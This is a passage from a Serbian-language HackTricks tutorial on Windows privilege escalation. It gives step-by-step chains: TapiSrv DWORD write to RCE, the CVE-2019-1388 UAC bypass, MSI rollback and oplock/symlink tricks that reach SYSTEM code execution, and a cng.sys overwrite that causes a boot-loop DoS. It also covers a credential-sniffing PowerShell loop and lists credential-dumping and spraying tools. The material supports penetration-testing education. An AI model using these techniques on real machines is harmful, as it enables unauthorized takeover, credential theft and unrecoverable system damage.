Takođe, sledeći tool omogućava da presretnete named pipe komunikaciju pomoću tool-a kao što je burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a ovaj tool omogućava da izlistate i vidite sve pipe-ove kako biste pronašli privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Telephony service (TapiSrv) u server modu izlaže \\pipe\\tapsrv (MS-TRP). Udaljeni autenticirani client može da zloupotrebi async event putanju zasnovanu na mailslot-u kako bi pretvorio ClientAttach u proizvoljni 4-byte write na bilo koji postojeći file upisiv za NETWORK SERVICE, zatim dobije Telephony admin prava i učita proizvoljni DLL kao service. Potpuni tok:

  • ClientAttach sa pszDomainUser postavljenim na postojeću putanju koja se može upisivati → service otvara to preko CreateFileW(..., OPEN_EXISTING) i koristi ga za async event writes.
  • Svaki event upisuje napadačem kontrolisani InitContext iz Initialize na taj handle. Registrujte line app sa LRegisterRequestRecipient (Req_Func 61), aktivirajte TRequestMakeCall (Req_Func 121), preuzmite preko GetAsyncEvents (Req_Func 0), zatim unregister/shutdown da biste ponovili determinističke upise.
  • Dodajte sebe u [TapiAdministrators] u C:\Windows\TAPI\tsec.ini, reconnect, pa zatim pozovite GetUIDllName sa proizvoljnom DLL putanjom da izvršite TSPI_providerUIIdentify kao NETWORK SERVICE.

Više detalja:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

Pogledajte stranicu https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

Clickable Markdown links prosleđeni na ShellExecuteExW mogu pokrenuti opasne URI handler-e (file:, ms-appinstaller: ili bilo koji registrovani scheme) i izvršiti fajlove pod kontrolom napadača kao trenutni user. Pogledajte:

Protocol Handler Shell Execute Abuse

Monitoring Command Lines for passwords

Kada dobijate shell kao user, mogu postojati scheduled tasks ili drugi procesi koji se izvršavaju i koji prosleđuju credentials na command line-u. Skripta ispod hvata process command lines svake dve sekunde i poredi trenutno stanje sa prethodnim, ispisujući sve razlike.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Krađa lozinki iz procesa

Od Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Ako imate pristup grafičkom interfejsu (preko konzole ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows-a moguće je pokrenuti terminal ili bilo koji drugi process kao što je “NT\AUTHORITY SYSTEM” iz unprivileged korisnika.

Ovo omogućava da se eskaliraju privilegije i zaobiđe UAC istovremeno, uz istu ranjivost. Dodatno, nema potrebe da se instalira bilo šta, a binary koji se koristi tokom procesa je potpisan i izdat od strane Microsoft-a.

Neki od pogođenih sistema su sledeći:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Da bi se iskoristila ova ranjivost, potrebno je izvršiti sledeće korake:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Od Administrator Medium do High Integrity Level / UAC Bypass

Pročitaj ovo da bi naučio o Integrity Levels:

Integrity Levels

Zatim pročitaj ovo da bi naučio o UAC i UAC bypasses:

UAC - User Account Control

Od Arbitrary Folder Delete/Move/Rename do SYSTEM EoP

Tehnika opisana u ovom blog postu sa exploit code dostupnim ovde.

Napad se u suštini zasniva na zloupotrebi Windows Installer rollback funkcije da bi se legitimni fajlovi zamenili malicioznim tokom procesa deinstalacije. Za ovo napadač mora da kreira malicious MSI installer koji će se koristiti za hijack C:\Config.Msi foldera, koji će kasnije Windows Installer koristiti za skladištenje rollback fajlova tokom deinstalacije drugih MSI paketa, pri čemu bi rollback fajlovi bili izmenjeni da sadrže maliciozni payload.

Sažeta tehnika je sledeća:

  1. Stage 1 – Priprema za Hijack (ostavi C:\Config.Msi prazan)
  • Korak 1: Instaliraj MSI

  • Napravi .msi koji instalira bezopasan fajl (npr. dummy.txt) u writable folder (TARGETDIR).

  • Označi installer kao “UAC Compliant”, tako da non-admin user može da ga pokrene.

  • Zadrži handle otvoren na fajlu posle instalacije.

  • Korak 2: Započni Uninstall

  • Deinstaliraj isti .msi.

  • Proces deinstalacije počinje da premešta fajlove u C:\Config.Msi i da ih preimenuje u .rbf fajlove (rollback backups).

  • Poll open file handle koristeći GetFinalPathNameByHandle da bi otkrio kada fajl postane C:\Config.Msi\<random>.rbf.

  • Korak 3: Custom Syncing

  • .msi uključuje custom uninstall action (SyncOnRbfWritten) koja:

  • Signalizira kada je .rbf upisan.

  • Zatim waits na drugi event pre nego što nastavi deinstalaciju.

  • Korak 4: Blokiraj Brisanje .rbf

  • Kada bude signalizirano, otvori .rbf fajl bez FILE_SHARE_DELETE — to sprečava njegovo brisanje.

  • Zatim signaliziraj nazad kako bi deinstalacija mogla da se završi.

  • Windows Installer ne uspeva da obriše .rbf, i pošto ne može da obriše sav sadržaj, C:\Config.Msi se ne uklanja.

  • Korak 5: Ručno Obriši .rbf

  • Ti (napadač) ručno brišeš .rbf fajl.

  • Sada je C:\Config.Msi prazan, spreman za hijack.

U ovom trenutku, triggeruj SYSTEM-level arbitrary folder delete vulnerability da obrišeš C:\Config.Msi.

  1. Stage 2 – Zamena Rollback Skripti Malicioznim
  • Korak 6: Ponovo Kreiraj C:\Config.Msi sa Weak ACLs

  • Ponovo kreiraj C:\Config.Msi folder sam.

  • Podesi weak DACLs (npr. Everyone:F), i zadrži handle otvoren sa WRITE_DAC.

  • Korak 7: Pokreni Drugu Instalaciju

  • Ponovo instaliraj .msi, sa:

  • TARGETDIR: Writable lokacija.

  • ERROROUT: Varijabla koja izaziva forsirani fail.

  • Ova instalacija će se koristiti da ponovo pokrene rollback, koji čita .rbs i .rbf.

  • Korak 8: Prati .rbs

  • Koristi ReadDirectoryChangesW da pratiš C:\Config.Msi dok se ne pojavi novi .rbs.

  • Zabeleži njegovo ime.

  • Korak 9: Sync Pre Rollback-a

  • .msi sadrži custom install action (SyncBeforeRollback) koja:

  • Signalizira event kada se .rbs kreira.

  • Zatim waits pre nego što nastavi.

  • Korak 10: Ponovo Primeni Weak ACL

  • Nakon prijema event-a .rbs created:

  • Windows Installer ponovo primenjuje strong ACLs na C:\Config.Msi.

  • Ali pošto i dalje imaš handle sa WRITE_DAC, možeš ponovo da primeniš weak ACLs.

ACLs se primenjuju samo pri otvaranju handle-a, tako da i dalje možeš da upisuješ u folder.

  • Korak 11: Ubaci Lažni .rbs i .rbf

  • Prepiši .rbs fajl sa fake rollback script koja govori Windows-u da:

  • Vrati tvoj .rbf fajl (malicious DLL) u privileged location (npr. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Ubaci tvoj lažni .rbf koji sadrži malicious SYSTEM-level payload DLL.

  • Korak 12: Triggeruj Rollback

  • Signaliziraj sync event tako da installer nastavi.

  • type 19 custom action (ErrorOut) je konfigurisana da namerno failuje instalaciju na poznatoj tački.

  • Ovo izaziva da rollback počne.

  • Korak 13: SYSTEM Instalira Tvoj DLL

  • Windows Installer:

  • Čita tvoj malicious .rbs.

  • Kopira tvoj .rbf DLL u target lokaciju.

  • Sada imaš svoj malicious DLL u SYSTEM-loaded path.

  • Final Step: Izvrši SYSTEM Code

  • Pokreni trusted auto-elevated binary (npr. osk.exe) koji učitava DLL koji si hijack-ovao.

  • Boom: Tvoj code se izvršava kao SYSTEM.

Od Arbitrary File Delete/Move/Rename do SYSTEM EoP

Glavna MSI rollback tehnika (prethodna) pretpostavlja da možeš da obrišeš ceo folder (npr. C:\Config.Msi). Ali šta ako tvoja ranjivost omogućava samo arbitrary file deletion ?

Možeš da iskoristiš NTFS internals: svaki folder ima skriveni alternate data stream koji se zove:

C:\SomeFolder::$INDEX_ALLOCATION

Ovaj stream skladišti index metapodatke foldera.

Dakle, ako obrišete ::$INDEX_ALLOCATION stream foldera, NTFS uklanja ceo folder iz filesystema.

To možete uraditi koristeći standardne API-je za brisanje fajlova kao što su:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Čak iako pozivaš API za brisanje fajla, on briše samu fasciklu.

From Folder Contents Delete to SYSTEM EoP

Šta ako tvoj primitive ne dozvoljava da obrišeš proizvoljne fajlove/fascikle, ali dozvoljava brisanje sadržaja fascikle koju kontroliše napadač?

  1. Step 1: Setup a bait folder and file
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Step 2: Place an oplock on file1.txt
  • The oplock pauzira izvršavanje kada privilegovani proces pokuša da obriše file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Korak 3: Pokreni SYSTEM proces (npr. SilentCleanup)
  • Ovaj proces skenira foldere (npr. %TEMP%) i pokušava da obriše njihov sadržaj.
  • Kada stigne do file1.txt, oplock se aktivira i predaje kontrolu tvom callback-u.
  1. Korak 4: Unutar oplock callback-a – preusmeri brisanje
  • Opcija A: Premesti file1.txt na drugo mesto

  • Ovo prazni folder1 bez narušavanja oplock-a.

  • Nemoj direktno da brišeš file1.txt — to bi prerano oslobodilo oplock.

  • Opcija B: Pretvori folder1 u junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opcija C: Kreiraj symlink u \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Ovo cilja NTFS interni stream koji čuva metapodatke fascikle — brisanjem njega briše se fascikla.

  1. Step 5: Release the oplock
  • SYSTEM proces nastavlja i pokušava da obriše file1.txt.
  • Ali sada, zbog junction + symlink, zapravo briše:
C:\Config.Msi::$INDEX_ALLOCATION

Rezultat: C:\Config.Msi je obrisan od strane SYSTEM-a.

Od Arbitrary Folder Create do Permanent DoS

Iskoristite primitivu koja vam omogućava da kreirate proizvoljan folder kao SYSTEM/admin — čak i ako ne možete da upisujete fajlove ili postavljate slabe dozvole.

Kreirajte folder (ne fajl) sa imenom kritičnog Windows drajvera, npr.:

C:\Windows\System32\cng.sys
  • Ova putanja obično odgovara cng.sys kernel-mode drajveru.
  • Ako ga unapred kreiraš kao folder, Windows ne uspeva da učita stvarni drajver pri boot-u.
  • Zatim Windows pokušava da učita cng.sys tokom boot-a.
  • VidI folder, ne uspeva da razreši stvarni drajver, i pada ili zaustavlja boot.
  • Nema fallback-a, i nema oporavka bez spoljne intervencije (npr. boot repair ili pristup disku).

Kada privileged service upisuje logove/eksporate na putanju pročitanu iz writable config, preusmeri tu putanju sa Object Manager symlinks + NTFS mount points da bi privileged write pretvorio u arbitrary overwrite (čak i bez SeCreateSymbolicLinkPrivilege).

Requirements

  • Config koji čuva target path je writable od strane napadača (npr. %ProgramData%\...\.ini).
  • Mogućnost da se kreira mount point ka \RPC Control i OM file symlink (James Forshaw symboliclink-testing-tools).
  • Privileged operation koja upisuje na tu putanju (log, export, report).

Primer lanca

  1. Pročitaj config da bi se dobila privileged log destinacija, npr. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt u C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Preusmeri putanju bez admina:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Sačekajte da privilegovana komponenta upiše log (npr. admin pokrene “send test SMS”). Upis sada završava u C:\Windows\System32\cng.sys.
  2. Pregledajte prepisani target (hex/PE parser) da potvrdite korupciju; reboot forsira Windows da učita izmenjenu driver putanju → boot loop DoS. Ovo se takođe može generalizovati na bilo koji zaštićeni fajl koji će privilegovani servis otvoriti za write.

cng.sys se normalno učitava iz C:\Windows\System32\drivers\cng.sys, ali ako postoji kopija u C:\Windows\System32\cng.sys ona može biti pokušana prva, što ga čini pouzdanim DoS sinkom za korumpirane podatke.

Od High Integrity do System

Novi servis

Ako već radite u procesu sa High Integrity, put do SYSTEM može biti jednostavan: samo kreiranje i izvršavanje novog servisa:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Kada pravite service binary, proverite da li je validan service ili da binary izvršava potrebne radnje dovoljno brzo, jer će biti ubijen za 20s ako nije validan service.

AlwaysInstallElevated

Iz High Integrity procesa možete pokušati da omogućite AlwaysInstallElevated registry entries i instalirate reverse shell koristeći .msi wrapper.
Više informacija o uključenim registry keys i o tome kako instalirati .msi paket ovde.

High + SeImpersonate privilege to System

Možete pronaći kod ovde.

From SeDebug + SeImpersonate to Full Token privileges

Ako imate te token privileges (verovatno ćete ovo naći u već High Integrity procesu), moći ćete da otvorite skoro bilo koji proces (ne protected processes) sa SeDebug privilege, kopirate token procesa i kreirate arbitrary process sa tim tokenom.
Korišćenje ove tehnike obično podrazumeva izbor bilo kog procesa koji radi kao SYSTEM sa svim token privileges (da, možete naći SYSTEM procese bez svih token privileges).
Možete pronaći primer koda koji izvršava predloženu tehniku ovde.

Named Pipes

Ovu tehniku koristi meterpreter za eskalaciju u getsystem. Tehnika se sastoji od kreiranja pipe-a i zatim kreiranja/zloupotrebe service-a da upisuje u taj pipe. Zatim će server koji je kreirao pipe koristeći SeImpersonate privilege moći da impersonira token klijenta pipe-a (service) i dobije SYSTEM privileges.
Ako želite da saznate više o named pipes trebalo bi da pročitate ovo.
Ako želite da pročitate primer kako preći sa high integrity na System koristeći named pipes trebalo bi da pročitate ovo.

Dll Hijacking

Ako uspete da hijackujete dll koji se učitava od strane procesa koji radi kao SYSTEM, moći ćete da izvršite arbitrary code sa tim permissions. Zato je Dll Hijacking takođe koristan za ovaj tip privilege escalation, a uz to je mnogo lakše ostvariv iz high integrity procesa jer će on imati write permissions nad folderima koji se koriste za učitavanje dll-ova.
Možete saznati više o Dll hijacking ovde.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Check for misconfigurations and sensitive files (check here). Detected.
JAWS – Check for some possible misconfigurations and gather info (check here).
privesc – Check for misconfigurations
SessionGopher – It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.
Invoke-WCMDump – Extracts crendentials from Credential Manager. Detected.
DomainPasswordSpray – Spray gathered passwords across domain
Inveigh – Inveigh is a PowerShell ADIDNS/LLMNR/mDNS spoofer and man-in-the-middle tool.
WindowsEnum – Basic privesc Windows enumeration
Sherlock ~~~~ – Search for known privesc vulnerabilities (DEPRECATED for Watson)
WINspect – Local checks (Need Admin rights)

Exe

Watson – Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled)
SeatBelt – Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) (precompiled)
LaZagne – Extracts credentials from lots of softwares (precompiled exe in github)
SharpUP – Port of PowerUp to C#
Beroot ~~~~ – Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.
Windows-Privesc-Check – Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.

Bat

winPEASbat – Tool created based in this post (it does not need accesschk to work properly but it can use it).

Local

Windows-Exploit-Suggester – Reads the output of systeminfo and recommends working exploits (local python)
Windows Exploit Suggester Next Generation – Reads the output of systeminfo andrecommends working exploits (local python)

Meterpreter

multi/recon/local_exploit_suggestor

You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Reference

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks